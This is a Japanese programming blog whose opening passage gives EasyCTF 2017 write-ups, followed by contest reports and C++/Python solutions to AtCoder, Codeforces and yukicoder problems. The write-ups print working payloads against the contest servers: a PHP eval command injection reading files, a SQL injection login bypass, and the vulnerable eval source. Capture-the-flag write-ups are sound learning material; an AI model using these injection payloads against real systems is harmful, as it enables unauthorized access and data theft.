commit a48ee6d6ca840b9130fbaa73bbf55e9e730e4cfd
Author: Michael <[email protected]>
Date:   Mon Mar 13 07:32:12 2017 +0000

    Prevent directory listing.

commit 6b4131bb3b84e9446218359414d636bda782d097
Author: Michael <[email protected]>
Date:   Mon Mar 13 07:32:10 2017 +0000

    Whoops! Remove flag.

commit 26e35470d38c4d6815bc4426a862d5399f04865c
Author: Michael <[email protected]>
Date:   Mon Mar 13 07:32:09 2017 +0000

    Initial.

commit 15ca375e54f056a576905b41a417b413c57df6eb
Author: Fernando <[email protected]>
Date:   Sat Dec 14 12:50:09 2013 -0300

    initial version

commit 8ac4f76df2ce8db696d75f5f146f4047a315af22
Author: Fernando Mayo <[email protected]>
Date:   Sat Dec 14 07:36:18 2013 -0800

    Initial commit
$ git diff 26e35470d38c4d6815bc4426a862d5399f04865c | grep easyctf
-easyctf{hiding_the_problem_doesn't_mean_it's_gone!}

問題名からしてCookieなので

$ curl -s -D- http://cookieblog.web.easyctf.com/ | grep Set-Cookie:
Set-Cookie: __cfduid=d7cd0f27a2315c12311e7a565f8b98fcb1489559702; expires=Thu, 15-Mar-18 06:35:02 GMT; path=/; domain=.easyctf.com; HttpOnly
Set-Cookie: flag=easyctf%7Byum_c00kies%21%21%21%7D
$ echo 'easyctf%7Byum_c00kies%21%21%21%7D' | urlencode -d
easyctf{yum_c00kies!!!}

TinyEval

phpとしてevalされる 文字数制限あるのでいい感じにする

$ curl http://tinyeval.web.easyctf.com/ -F cmd='echo`cat *`'
<p>Give me something to eval!</p>

FROM tutum/lamp:latest
EXPOSE 80
RUN sed -i 's/AllowOverride FileInfo/AllowOverride All/' /etc/apache2/sites-enabled/000-default.conf
RUN a2enmod rewrite
RUN rm -rf /app/*
COPY . /app/
RUN echo "Options -Indexes\n" > .htaccess
CMD '/run.sh'easyctf{it's_2017_anD_we're_still_using_PHP???}
<p>Give me something to eval!</p>

<?php
if (isset($_POST['cmd'])) {
    $cmd = $_POST['cmd'];
    if (strlen($cmd) > 11) {
        echo "sorry, your string is too long :(";
    } else {
        echo eval($cmd . ";");
    }
}
?>

<form method=post>
<input type=text name=cmd>
<input type=submit>
</form>
<form method=post>
<input type=text name=cmd>
<input type=submit>
</form>

SQL Injection 1

' or 1 = 1 --でなくて" or 1 = 1 --でないとだめ

$ curl http://injection1.web.easyctf.com/ -F username=admin -F password='" or 1 = 1 -- '
<html>

<head>
    <title>Injection 1</title>
</head>

<body>
    <h1>Login</h1>
    
    
        <p>Thanks for logging in. Your flag is <code>easyctf{a_prepared_statement_a_day_keeps_the_d0ctor_away!}</code></p>
    
</body>

</html>

Zooooooom

$ exiftool -b -ThumbnailImage d9040024afd9d38b73c72e30f722cf09e1093e3c_hekkerman.jpg > thumb.jpg
$ exiftool -b -ThumbnailImage thumb.jpg > thumb.1.jpg

easyctf{d33p_zo0m_HeKker_2c1ae5}

RSA 3

#!/usr/bin/env python3
n = 0x27335d21ca51432fa000ddf9e81f630314a0ef2e35d81a839584c5a7356b94934630ebfc2ef9c55b111e8c373f2db66ca3be0c0818b1d4eda7d53c1bd0067f66a12897099b5e322d85a8da45b72b828813af23
e = 0x10001
c = 0x9b9c138e0d473b6e6cf44acfa3becb358b91d0ba9bfb37bf11effcebf9e0fe4a86439e8217819c273ea5c1c5acfd70147533aa550aa70f2e07cc98be1a1b0ea36c0738d1c994c50b1bd633e3873fc0cb377e7

# http://factordb.com/
p = 3423616853305296708261404925903697485956036650315221001507285374258954087994492532947084586412780869
q = 3423616853305296708261404925903697485956036650315221001507285374258954087994492532947084586412780871
assert n == p * q

# decode
from Crypto.PublicKey import RSA
from Crypto.Util.number import long_to_bytes
import gmpy2
d = int(gmpy2.invert(e, (p-1)*(q-1)))
key = RSA.construct([ n, e, d ])
m = key.decrypt(c)
print(long_to_bytes(m).decode())

easyctf{tw0_v3ry_merrry_tw1n_pr1m35!!_417c0d}

RSA 4

#!/usr/bin/env python3
from Crypto.Util.number import long_to_bytes
import gmpy2
p = 13013195056445077675245767987987229724588379930923318266833492046660374216223334270611792324721132438307229159984813414250922197169316235737830919431103659
q = 12930920340230371085700418586571062330546634389230084495106445639925420450591673769061692508272948388121114376587634872733055494744188467315949429674451947
e = 100
c = 2536072596735405513004321180336671392201446145691544525658443473848104743281278364580324721238865873217702884067306856569406059869172045956521348858084998514527555980415205217073019437355422966248344183944699168548887273804385919216488597207667402462509907219285121314528666853710860436030055903562805252516
n = p * q
e1 = 4
e2 = 25
assert e == e1 * e2
d2 = int(gmpy2.invert(e2, (p-1)*(q-1)))
m2 = pow(c, d2, n)
m1 = int(gmpy2.isqrt(m2))
m  = int(gmpy2.isqrt(m1))
print(long_to_bytes(m).decode())

easyctf{m0dul4r_fuN!}

My USB

$ foremost 2c370b79d147127064f019dcb05bba1aa917c552_usb.img
$ open output/jpg/00002494.jpg

flag{d3let3d_f1l3z_r_k00l}

Let Me Be Frank

推測によるvigenere cipher解読する

  • key: lsnwallpw
  • plaintext: you should be happy, i put some extra words here to make this easier to solve. easyctf{better_thank_the_french_for_this_one}

Paillier Service

Paillier暗号の準同型性やるだけ。それでも比較するとまともな問題だった。

flag: 44073117240618665780675193850837939995438219250244678211539041436428154743261238082817577099306521708734123381615432054274681465095612422847370622010652215512660940106734460138798004151939831278940754163448609294265458598883535128433424615303280599380544523443593952238464672302887846705279608801286723167548136016323776193330983364067235836166569465230366

#!/usr/bin/env python2
from pwn import * # https://pypi.python.org/pypi/pwntools
import argparse
import functools
import operator
from Crypto.Util.number import bytes_to_long
parser = argparse.ArgumentParser()
parser.add_argument('host', nargs='?', default='paillier.tcp.easyctf.com')
parser.add_argument('port', nargs='?', default=8570, type=int)
parser.add_argument('--log-level', default='debug')
args = parser.parse_args()
context.log_level = args.log_level

def encrypt(m, r):
    '''
    c = (1 + n)**m * r**n % n**2
    '''
    with remote(args.host, args.port) as p:
        p.recvuntil('Enter a message to encrypt (int): ')
        p.sendline(str(m))
        p.recvuntil('Enter r (int): ')
        p.sendline(str(r))
        p.recvuntil('c: ')
        return int(p.recvall())

e = encrypt(1, 1)
n = e - 1
m = bytes_to_long('easyctf{3ncrypt_m3!}')
c = pow(e, m, n**2)
print(c)

RCO presents 日本橋ハーフマラソン 本戦: 参加記

,

http://rco-contest-2017-final-open.contest.atcoder.jp/

$24$位。順位は微妙だったが、このハーフマラソンの形式は好き。

A問題

誤読。 change iで容量$C_i$が再設定されるのに気付いてなかったのでだめ。 $1$位の点数が異常だなあと眺めていたが、そうではなかった。

B問題

こちらは単純に頭が付いてなかった。 ちゃんと考察してから実装するべきだった。random walkをベースにすればよいようだったが、もう少しルールベースなものを考えて失敗していた。

visualizerが付いており眺めていて楽しい。 すごく見栄えがする。

以下ふたつは終了後に実装されたもの。

賞金逃した。後輩氏は取ってた。

懇親会では🍕と🍗を食べつつ、浮いてたプロジェクタにvisualizerを映したりして遊んでいた。Typing Warが始まったりもした。 当然のように500打/分な人ばかりの中で私は最高でも360打/分なので人権が薄かった。

会場到達など

自費で前泊して遊んでいたので今回は遅刻しなかった。(寝すぎてホテルの人に起こされはした。) 人と黙々と0CTFをしたり、電気ブランを飲んだりしていた。サーバルちゃんを見に行こうともしたのだが、人が多すぎたので門の前で諦めてしまった。

後ろは泊らなかったので懇親会はわずかに早退した。 $9$時$23$分の新幹線に乗ったら、新幹線を降りた後の終電逃した。


Codeforces Round #395 (Div. 1): E. Timofey and our friends animals

,

http://codeforces.com/contest/763/problem/E

problem

単純グラフ$G$が与えられる。 次のようなクエリが$Q$個与えられるので処理せよ。

  • 頂点を番号$[l, r)$のものだけに制限してできる部分グラフ$H_{[l, r)} \subseteq G$の連結成分の数を答えよ。

ただし$G$の頂点$u, v$間に辺があるのは$|u - v| \le K \le 5$のときだけである。

solution

union-find木 + 平方分割 + 永続化。計算量は$O(N \alpha + M + Q \sqrt{N} K \alpha)$のような感じ。

愚直にやるにはunion-find木だが、クエリ毎に$M$回併合していると間に合わない。

ほとんど直線状のグラフである。$\sqrt{N}$個のchunksに平方分割できる。 union-find木を用意し、同じchunkに入る辺は先に張っておく。 経路圧縮も全てしておき、この状態$X$を保存しておく。 破壊的に処理した後この状態$X$を$O(\sqrt{N} K)$程度の計算量で復元できれば、クエリごとにunion-find木の残りの部分を単に処理して答えを出すだけである。

union-find木の永続化には複数可能性がある。 例えば永続配列によるもの。 今回は部分永続性だけでよいので単純なundoができればよい。 特に今回は同じ位置への操作回数が少ない(高々$O(\sqrt{N}K)$回)ので、内部の配列への書き込みの履歴を持っておいて復元の際はそれを書き戻していけば十分となる。 unordered_map等で上に一層被せるやつだと定数倍により間に合わない。

implementation

#include <cstdio>
#include <vector>
#include <stack>
#include <cmath>
#include <tuple>
#define repeat(i,n) for (int i = 0; (i) < int(n); ++(i))
using namespace std;

struct disjoint_sets {
    vector<int> data;
    disjoint_sets() = default;
    explicit disjoint_sets(size_t n) : data(n, -1) {}
    bool is_root(int i) { return data[i] < 0; }
    int find_root(int i) { return is_root(i) ? i : (data[i] = find_root(data[i])); }
    int set_size(int i) { return - data[find_root(i)]; }
    int union_sets(int i, int j) {
        i = find_root(i); j = find_root(j);
        if (i != j) {
            if (set_size(i) < set_size(j)) swap(i,j);
            data[i] += data[j];
            data[j] = i;
        }
        return i;
    }
    bool is_same(int i, int j) { return find_root(i) == find_root(j); }
};

struct wrapped_disjoint_sets {
    vector<int> a_data;
    stack<pair<int, int> > modified;
    explicit wrapped_disjoint_sets(disjoint_sets const & a_original) : a_data(a_original.data) {}
    int data(int i) {
        return a_data[i];
    }
    void data_set(int i, int j) {
        if (data(i) != j) {
            modified.emplace(i, a_data[i]);
            a_data[i] = j;
        }
    }
    void reset() {
        while (not modified.empty()) {
            int i, value; tie(i, value) = modified.top(); modified.pop();
            a_data[i] = value;
        }
    }
    bool is_root(int i) { return data(i) < 0; }
    int find_root(int i) { return is_root(i) ? i : find_root(data(i)); }
    int set_size(int i) { return - data(find_root(i)); }
    int union_sets(int i, int j) {
        i = find_root(i); j = find_root(j);
        if (i != j) {
            if (set_size(i) < set_size(j)) swap(i,j);
            data_set(i, data(i) + data(j));
            data_set(j, i);
        }
        return i;
    }
    bool is_same(int i, int j) { return find_root(i) == find_root(j); }
};

int main() {
    int n, k, m; scanf("%d%d%d", &n, &k, &m);
    disjoint_sets splitted_ds(n);
    constexpr int bucket_width = 512; // fastest -- mod is unnecessary and appropriate size
    int bucket_count = ceil(n /(double) bucket_width);
    vector<vector<int> > edges(n);
    repeat (i,m) {
        int u, v; scanf("%d%d", &u, &v); -- u; -- v;
        if (u > v) swap(u, v);
        edges[u].push_back(v);
        int uj = u / bucket_width;
        int vj = v / bucket_width;
        if (uj == vj) {
            splitted_ds.union_sets(u, v);
        }
    }
    vector<int> cnts(bucket_count);
    repeat (i,n) {
        splitted_ds.find_root(i); // compress
        if (splitted_ds.is_root(i)) {
            int j = i / bucket_width;
            ++ cnts[j];
        }
    }
    wrapped_disjoint_sets wrapped_ds(splitted_ds);
    int q; scanf("%d", &q);
    while (q --) {
        int l, r; scanf("%d%d", &l, &r); -- l;
        int lj = l / bucket_width;
        int rj = r / bucket_width;
        wrapped_ds.reset();
        int cnt = 0;
        { // init
            int i = l;
            for (; i < r and i / bucket_width == lj; ++ i) {
                wrapped_ds.data_set(i, -1);
                ++ cnt;
            }
            for (; i / bucket_width < rj; i += bucket_width) {
                cnt += cnts[i / bucket_width];
            }
            for (; i < r; ++ i) {
                wrapped_ds.data_set(i, -1);
                ++ cnt;
            }
        }
        { // union
            int i = l;
            for (; i < r and i / bucket_width == lj; ++ i) {
                for (int j : edges[i]) if (j < r) {
                    if (not wrapped_ds.is_same(i, j)) {
                        wrapped_ds.union_sets(i, j);
                        -- cnt;
                    }
                }
            }
            for (; i / bucket_width < rj; i += bucket_width) {
                for (int di = bucket_width - k; di < bucket_width; ++ di) {
                    for (int j : edges[i+di]) if (j < r) {
                        if (not wrapped_ds.is_same(i+di, j)) {
                            wrapped_ds.union_sets(i+di, j);
                            -- cnt;
                        }
                    }
                }
            }
            for (; i < r; ++ i) {
                for (int j : edges[i]) if (j < r) {
                    if (not wrapped_ds.is_same(i, j)) {
                        wrapped_ds.union_sets(i, j);
                        -- cnt;
                    }
                }
            }
        }
        printf("%d\n", cnt);
    }
    return 0;
}

Yukicoder No.202 1円玉投げ

,

http://yukicoder.me/problems/no/202

_mm_mullo_epi32を知らず_mm_mul_epi32と書いててWAで苦しんだ。 積は幅が倍になるのでmul mullo mulhiと$3$種ある。言われてみれば当然。

手元でclangの最適化全マシなら無修正の愚直コードが余裕で通る速度になるが、yukicoderはgccだけなので頑張る必要があった。

solution

愚直 + 定数倍高速化。$O(N)$。

SSEで書き直すだけで通る。速度は$3,4$倍ぐらいになる。 threadでの並列でもよいかもしれない。

implementation

http://yukicoder.me/submissions/157852

#pragma GCC optimize "O3"
#pragma GCC target "tune=native"
#pragma GCC target "avx"
#include <cstdio>
#include <algorithm>
#include <immintrin.h>
#define repeat(i,n) for (int i = 0; (i) < int(n); ++(i))
using namespace std;
template <class T> inline T sq(T x) { return x*x; }
constexpr int max_n = 100000;
constexpr int r = 10;
__attribute__((aligned(32))) int32_t x[max_n];
__attribute__((aligned(32))) int32_t y[max_n];
__attribute__((aligned(32))) int32_t z[max_n]; // is_removed
int main() {
    int n; scanf("%d", &n);
    repeat (i,n) scanf("%d%d", &x[i], &y[i]);
    int i = 0;
    for (; i+3 < n; i += 4) {
        const __m128i xi = _mm_load_si128((__m128i *)(x + i));
        const __m128i yi = _mm_load_si128((__m128i *)(y + i));
        __m128i zi = _mm_setzero_si128();
        repeat (j,i) {
            __m128i xj = _mm_set1_epi32(x[j]);
            __m128i yj = _mm_set1_epi32(y[j]);
            __m128i zj = _mm_set1_epi32(not z[j]);
            xj = _mm_sub_epi32(xj, xi);
            yj = _mm_sub_epi32(yj, yi);
            xj = _mm_mullo_epi32(xj, xj);
            yj = _mm_mullo_epi32(yj, yj);
            const __m128i d = _mm_add_epi32(xj, yj);
            const __m128i e = _mm_set1_epi32(sq(r + r));
            __m128i cmp = _mm_cmplt_epi32(d, e);
            zi = _mm_add_epi32(zi, _mm_mullo_epi32(cmp, zj));
        }
        _mm_store_si128((__m128i *)(z + i), zi);
        repeat (di, 4) {
            if (z[i+di]) {
                z[i+di] = 1;
            } else {
                repeat (dj, di) {
                    if (not z[i+dj] and sq(x[i+dj] - x[i+di]) + sq(y[i+dj] - y[i+di]) < sq(r + r) ) {
                        z[i+di] = 1;
                        break;
                    }
                }
            }
        }
    }
    for (; i < n; ++ i) {
        repeat (j,i) {
            if (not z[j] and sq(x[j] - x[i]) + sq(y[j] - y[i]) < sq(r + r) ) {
                z[i] = 1;
                break;
            }
        }
    }
    int cnt = count(z, z + n, 0);
    printf("%d\n", cnt);
    return 0;
}

AtCoder Grand Contest 011: E - Increasing Numbers

,

http://agc011.contest.atcoder.jp/tasks/agc011_e

解説を見てそのまま書いた。 pythonでやると入力取って$9$の乗算1回に$1.5$秒ぐらいで基数変換が走っててだめそうだった。なのでc++した。 他の人の提出を見るとみな全て融合させてるのか陽に多倍長整数演算してる人は見つからなかった。

solution

数式を整理して二分探索。$L = \log_{10} N$に対し$O(L \log L)$。

任意の増加的な数は高々$9$個のrepunitsの和で表わせる。 隣り合う桁ごとの差分の総和は(先頭には無限に0があるとして)高々$9$であり、$r$回の増加をひとつひとつに分解すると$r$個のrepunitsになるため。 imos法っぽい。 逆に、高々$9$個のrepunitsの和は増加的であるのも言える。 よって高々$9k$個のrepunitsで$N$を表現できる$k$で最小のものが答え。

任意のrepunitは$\frac{10^r - 1}{9}$と表わせる。 これは$\underbrace{111 \dots 1}_r = \sum_{i \lt r} 10^i = \frac{10^r - 1}{10 - 1}$とすれば式変形でも出る。 $r = 0$を含む。 $9k$個以下のrepunitsの和で$N$が表現できるとは、$N = \sum_{i \lt 9k} \frac{10^{r_i} - 1}{9}$な$r_i$が存在すること。 $\sum_{i \lt 9k} 10^{r_i} = 9N + 9k$と変形できるので、この存在性は$9N + 9k$の各桁の和が$9k$以下であるかどうかで分かる。

これで$k$を二分探索すればよい。 二分探索の上限$R$は桁数$L = \lfloor \log_{10} N \rfloor + 1$ぐらいあればよい。 以下のようにする。 $\sum_{i \lt 9k} 10^{r_i} = 9N + 9k$として$\sum_{i \lt 9k} r_i \le 9k$を成り立たせることを考える。 $k \ll N$から$9N + 9k \approx 9N$のため不等式左辺は高々$9 \log_{10} 9N$。 よって$\log_{10} 9N \le k$ならよくて、これは$\log_{10} 9 = 0.954\dots$なので$\log_{10} 9N \approx L$。

implementation

#include <iostream>
#include <vector>
#include <numeric>
#include <cassert>
#define repeat(i,n) for (int i = 0; (i) < int(n); ++(i))
#define whole(f,x,...) ([&](decltype((x)) whole) { return (f)(begin(whole), end(whole), ## __VA_ARGS__); })(x)
using namespace std;
vector<int8_t> encode(string const & x) {
    int n = x.size();
    vector<int8_t> y(n);
    repeat (i,n) y[n-i-1] = x[i] - '0';
    return y;
}
vector<int8_t> encode(int x) {
    vector<int8_t> y;
    while (x) {
        y.push_back(x % 10);
        x /= 10;
    }
    return y;
}
void normalize(vector<int8_t> & x) {
    int n = x.size();
    repeat (i,n) {
        while (x[i] < 0) {
            assert (i+1 != n);
            x[i+1] -= 1;
            x[i] += 10;
        }
        while (10 <= x[i]) {
            assert (i+1 != n);
            x[i+1] += 1;
            x[i] -= 10;
        }
    }
    while (not x.empty() and x.back() == 0) x.pop_back();
}
vector<int8_t> add(vector<int8_t> const & x, vector<int8_t> const & y) {
    int n = max(x.size(), y.size());
    vector<int8_t> z(n);
    repeat (i, x.size()) z[i] += x[i];
    repeat (i, y.size()) z[i] += y[i];
    normalize(z);
    return z;
}
vector<int8_t> mul(vector<int8_t> const & x, int8_t k) {
    int n = x.size();
    vector<int8_t> y(n+1);
    repeat (i,n) {
        y[i+1] += x[i] * k / 10;
        y[i  ] += x[i] * k % 10;
    }
    normalize(y);
    return y;
}
bool pred(vector<int8_t> const & n, int k) {
    vector<int8_t> a = mul(add(n, encode(k)), 9);
    return whole(accumulate, a, 0) <= 9 * k;
}
int main() {
    string s; cin >> s;
    vector<int8_t> n = encode(s);
    int l = 0;
    int r = 9 * s.size();
    while (r - l > 1) {
        int m = (l + r) / 2;
        (pred(n, m) ? r : l) = m;
    }
    cout << r << endl;
    return 0;
}

AtCoder Grand Contest 011: C - Squared Graph

,

http://agc011.contest.atcoder.jp/tasks/agc011_c

Dを優先してほぼ手を付けなかったが、解けていてもよい問題だった。

solution

連結成分への分解と奇閉路の検出をして、その数を元に計算。$O(N + M)$。

元のグラフ上で互いに到達不能な頂点同士は、積グラフ上でも互いに到達不能な頂点群を生む。 よって、元のグラフを連結成分に分解してその対ごとに考えてよい。 次のように問題を読み替えられる: 連結グラフ$G_i$ ($0 \le i \lt k$)が与えられるので、各$(i, j)$について積グラフ$G_i \times G_j$の頂点数を数え、その総和を答えよ。

連結グラフ$G, H$をとる。 $G, H, G \times H$の頂点数をそれぞれ$x, y, z$とする。 $x = 1$または$y = 1$である場合は辺が$1$本も生まれないので $z = xy$。 それ以外の場合では、$G, H$は共に連結なので$z \in \{ 1, 2 \}$になる。 $x = y = 2$の場合の積グラフが縦横に並ぶものと考えればそうなる。 ここで$z = 1$となるのは$G, H$のどちらかが奇閉路を持つとき。 つまり、それぞれのグラフを以下のように分類すれば十分:

  1. $|V| = 1$
  2. $|V| \ge 2$ かつ 奇閉路がない
  3. $|V| \ge 2$ かつ 奇閉路がある

奇閉路の存在は二部グラフ性と同値なので、連結成分への分解の際にまとめてやるとよい。

implementation

#include <iostream>
#include <vector>
#include <queue>
#define repeat(i,n) for (int i = 0; (i) < int(n); ++(i))
using ll = long long;
using namespace std;
int main() {
    // input
    int n, m; cin >> n >> m;
    vector<vector<int> > g(n);
    repeat (i,m) {
        int u, v; cin >> u >> v; -- u; -- v;
        g[u].push_back(v);
        g[v].push_back(u);
    }
    // decompose
    int a_components = 0, a_nodes = 0; // connected graph: |V|  = 1
    int b_components = 0, b_nodes = 0; // connected graph: |V| >= 2 and no odd cyles
    int c_components = 0, c_nodes = 0; // connected graph: |V| >= 2 and odd cycles exist
    vector<char> used(n);
    repeat (root,n) if (not used[root]) {
        bool is_bipartite = true;
        int size = 0;
        queue<int> que;
        que.push(root);
        used[root] = 'A';
        while (not que.empty()) {
            int i = que.front(); que.pop();
            ++ size;
            for (int j : g[i]) {
                if (used[j]) {
                    if (used[i] == used[j]) is_bipartite = false;
                } else {
                    used[j] = (used[i] == 'A' ? 'B' : 'A');
                    que.push(j);
                }
            }
        }
        if (size == 1) {
            ++ a_components; a_nodes += size;
        } else if (is_bipartite) {
            ++ b_components; b_nodes += size;
        } else {
            ++ c_components; c_nodes += size;
        }
    }
    // calculate
    ll ans = 0;
    ans += a_nodes *(ll) a_nodes; // A A
    ans += 2 * a_nodes *(ll) b_nodes; // A B ; B A
    ans += 2 * a_nodes *(ll) c_nodes; // A C ; C A
    ans += b_components *(ll) b_components * 2; // B B
    ans += 2 * b_components *(ll) c_components; // B C ; C B
    ans += c_components *(ll) c_components; // C C
    // output
    cout << ans << endl;
    return 0;
}

AtCoder Grand Contest 011: D - Half Reflector

,

http://agc011.contest.atcoder.jp/tasks/agc011_d

$N = 2 \times 10^5$かつ$K = 10^9$で$O(NK)$が通るの楽しい。

solution

実験して規則性。定数倍がとても軽い$O(NK)$、あるいはまじめに書いて$O(N)$。

観察により以下が分かる。これを元に適当に書けばよい。

  • 末尾のBAは無視できる
  • 先頭がAなら、先頭がBになるだけ
  • 先頭がBなら、A Bが反転しひとつ左にずれる (rotateなので末尾にはA)
    • 例: BAAABBAAABABABA $\to$ BBBAABBBABABABA
  • $N$が偶数なら、最終的に変化しなくなる
  • $N$が奇数なら、最終的に先頭がABの間で振動する

implementation

AVX命令 vmovupsが吐かれた。sizeof(bool)は$1$になってるようなので$32$倍速か。

#include <cstdio>
#define repeat(i,n) for (int i = 0; (i) < int(n); ++(i))
using namespace std;
constexpr size_t max_n = 200000;
bool a[max_n+1];
int main() {
    int n, k; scanf("%d%d", &n, &k);
    repeat (i,n) { char c; scanf(" %c", &c); a[i] = (c == 'A'); }
    int m = n;
    a[m] = false;
    while (k --) {
        if (a[0]) {
            a[0] = false;
        } else {
            repeat (i,m) a[i] = not a[i+1];
        }
        while (2 <= m and not a[m-2] and a[m-1]) m -= 2;
        if (m == 0) break;
        if (m == 1) k %= 2;
    }
    repeat (i,n) printf("%c", a[i] ? 'A' : 'B');
    printf("\n");
    return 0;
}

AtCoder Grand Contest 011: B - Colorful Creatures

,

http://agc011.contest.atcoder.jp/tasks/agc011_b

solution

sortしてしゃくとりっぽい貪欲。$O(N)$。

生き物$l$が食べられる最大の大きさの生き物$r$をそれぞれについて求めればよい。 これは$A_{l_1} \le A_{l_2}$ならば$A_{r_1} \le A_{r_2}$なので、数列$A$をsortして$l$を増やしながら$r$も増やしていくことで効率よく求まる。

implementation

#include <iostream>
#include <vector>
#include <algorithm>
#define repeat(i,n) for (int i = 0; (i) < int(n); ++(i))
#define whole(f,x,...) ([&](decltype((x)) whole) { return (f)(begin(whole), end(whole), ## __VA_ARGS__); })(x)
using ll = long long;
using namespace std;
int main() {
    int n; cin >> n;
    vector<int> a(n); repeat (i,n) cin >> a[i];
    whole(sort, a);
    ll acc = 0;
    int l = 0, r = 0;
    while (true) {
        if (r == l) {
            acc += a[l];
            ++ r;
        }
        while (r < n and a[r] <= 2*acc) {
            acc += a[r];
            ++ r;
        }
        if (r == n) break;
        ++ l;
    }
    cout << r - l << endl;
    return 0;
}

AtCoder Grand Contest 011: A - Airport Bus

,

http://agc011.contest.atcoder.jp/tasks/agc011_a

solution

sortして貪欲。$O(N)$。

まだ乗るバスが決まってない人の中で到着時刻が最小の人を人$l$とする。 この人の乗れるバスがあるなら乗り、そうでないなら時刻$T_i + K$に出発するバスを作るのが妥当である。 $T$をsortしておけば、これは配列を一度なめるだけで実行できる。

implementation

#include <iostream>
#include <vector>
#include <algorithm>
#define repeat(i,n) for (int i = 0; (i) < int(n); ++(i))
#define whole(f,x,...) ([&](decltype((x)) whole) { return (f)(begin(whole), end(whole), ## __VA_ARGS__); })(x)
using namespace std;
int main() {
    int n, c, k; cin >> n >> c >> k;
    vector<int> t(n); repeat (i,n) cin >> t[i];
    whole(sort, t);
    int cnt = 0;
    int l = 0;
    while (l < n) {
        int r = l;
        while (r < n and r - l < c and t[r] <= t[l] + k) ++ r;
        ++ cnt;
        l = r;
    }
    cout << cnt << endl;
    return 0;
}

Yukicoder No.493 とても長い数列と文字列(Long Long Sequence and a String)

,

http://yukicoder.me/problems/no/493

長さが指数で増えるのに気付かなかった。 その後は丁寧にやるだけだったが、バグを埋めやすい感じがあった。

solution

文字列$f(K)$の長さは指数で増えるので$K \le 64$。binary indexed treeのように端から取っていく。$O(\log R)$。

和と$10^9+7$を法とする積は可逆であるので($1$-basedで)$L = 1$として$2$回求めて差を取ればよい。$L = 1$とする。

見る必要のある各$f(K)$についてその中での和と積を求めておいて、左端から取っていくことを考える。 $k$を$K$から$1$まで減らしながら、$\mathrm{len}(\mathrm{str}(f(k)) \oplus \mathrm{str}(k^2)) \le R$なら$R \gets R - \mathrm{len}(\mathrm{str}(f(k)) \oplus \mathrm{str}(k^2))$とする、などとする。 真ん中に$\mathrm{str}(k^2)$が挟まってるので面倒だが、基本はdoublingとかの感じで。

イメージ図 $(K, L, R) = (5, 1, 26)$:

L                        R
1419141161419141
                25
                  1419141
                         1
                          --------

implementation

#include <iostream>
#include <vector>
#include <sstream>
#include <functional>
#include <cassert>
#define repeat(i,n) for (int i = 0; (i) < int(n); ++(i))
#define repeat_from(i,m,n) for (int i = (m); (i) < int(n); ++(i))
using ll = long long;
using namespace std;
template <class T> inline void setmin(T & a, T const & b) { a = min(a, b); }

ll powmod(ll x, ll y, ll p) { // O(log y)
    assert (y >= 0);
    x %= p; if (x < 0) x += p;
    ll z = 1;
    for (ll i = 1; i <= y; i <<= 1) {
        if (y & i) z = z * x % p;
        x = x * x % p;
    }
    return z;
}
ll inv(ll x, ll p) { // p must be a prime, O(log p)
    assert ((x % p + p) % p != 0);
    return powmod(x, p-2, p);
}

constexpr int mod = 1e9+7;
pair<ll, int> from_string(string const & s) {
    ll sum = 0;
    int prod = 1;
    for (char c : s) {
        int d = (c == '0' ? 10 : c - '0');
        sum += d;
        prod = prod *(ll) d % mod;
    }
    return { sum, prod };
}
pair<ll, int> addmul(pair<ll, int> a, pair<ll, int> b) {
    return { a.first + b.first, a.second *(ll) b.second % mod };
}
int main() {
    int k; ll l, r; cin >> k >> l >> r; -- l;
    vector<string> str { "" };
    vector<ll> width { 0 };
    vector<ll> sums { 0 };
    vector<int> prods { 1 };
    repeat_from (i,1,k+1) {
        ostringstream oss;
        oss << i*i;
        string s = oss.str();
        str.push_back(s);
        width.push_back(2 * width.back() + s.length());
        ll sum = 2 * sums.back();
        int prod = prods.back() *(ll) prods.back() % mod;
        tie(sum, prod) = addmul(make_pair(sum, prod), from_string(s));
        sums.push_back(sum);
        prods.push_back(prod);
        if (r <= width.back()) break;
    }
    function<pair<ll, int> (int, ll)> func = [&](int i, ll r) { // in the string f(i), accumulate of [0, r)
        if (i == 0) { // exit
            return make_pair(0ll, 1);
        } else if (r < width[i-1]) { // go left
            return func(i-1, r);
        } else if (r == width[i-1]) { // left
            return make_pair(sums[i-1], prods[i-1]);
        } else if (r < width[i-1] + str[i].length()) { // left + use center
            ll sum = sums[i-1];
            int prod = prods[i-1];
            string s = str[i].substr(0, r - width[i-1]);
            return addmul(make_pair(sum, prod), from_string(s));
        } else { // left + center, go right
            assert (r < width[i-1] + str[i].length() + width[i-1]);
            ll sum = sums[i-1];
            int prod = prods[i-1];
            string s = str[i];
            ll nr = r - width[i-1] - s.length();
            return addmul(addmul(make_pair(sum, prod), from_string(s)), func(i-1, nr));
        }
    };
    if (width.back() < r) {
        cout << -1 << endl;
    } else {
        ll lsum; int lprod; tie(lsum, lprod) = func(width.size(), l);
        ll rsum; int rprod; tie(rsum, rprod) = func(width.size(), r);
        cout << (rsum - lsum) << ' ' << (rprod *(ll) inv(lprod, mod) % mod) << endl;
    }
    return 0;
}

Yukicoder No.492 IOI数列

,

http://yukicoder.me/problems/no/492

あまり考えずとりあえずpythonで実験したら$101010101010101010101$での規則性が出た。その後、残る$10^7$はよく見たらすぐだった。コードを書く前に考えるべきという感じがする。

solution

$10^7$は行列にして繰り返し二乗法。$101010101010101010101$は規則性あるいは多倍長整数で殴る。$O(\log N)$。

繰り返し二乗法について、$$ \left( \begin{matrix} a_N \\ 1 \end{matrix} \right) = {\left( \begin{matrix} 100 & 1 \\ 0 & 1 \end{matrix} \right)}^N \left( \begin{matrix} 0 \\ 1 \end{matrix} \right) $$ である。よって$O(\log N)$。

規則性について、$a_0 \equiv a_{11} \equiv 0 \pmod{101010101010101010101}$である。$O(1)$。

implementation

#!/usr/bin/env python3
def dgemm(f, g):
    h = [ [ 0, 0 ], [ 0, 0 ] ]
    for y in range(2):
        for x in range(2):
            for z in range(2):
                h[y][x] += f[y][z] * g[z][x]
            h[y][x] %= 1000000007
    return h
def dgemv(f, v):
    w = [ 0, 0 ]
    for y in range(2):
        for x in range(2):
            w[y] += f[y][x] * v[x]
        w[y] %= 1000000007
    return w
f = [ [   1, 0 ], [ 0, 1 ] ]
e = [ [ 100, 1 ], [ 0, 1 ] ]
n = int(input())
for i in range(len(bin(n))):
    if n & (1 << i):
        f = dgemm(f, e)
    e = dgemm(e, e)
print(dgemv(f, [ 0, 1 ])[0])
print(('10' * (n % 11))[:-1] or '0')

Yukicoder No.491 10^9+1と回文

,

http://yukicoder.me/problems/no/491

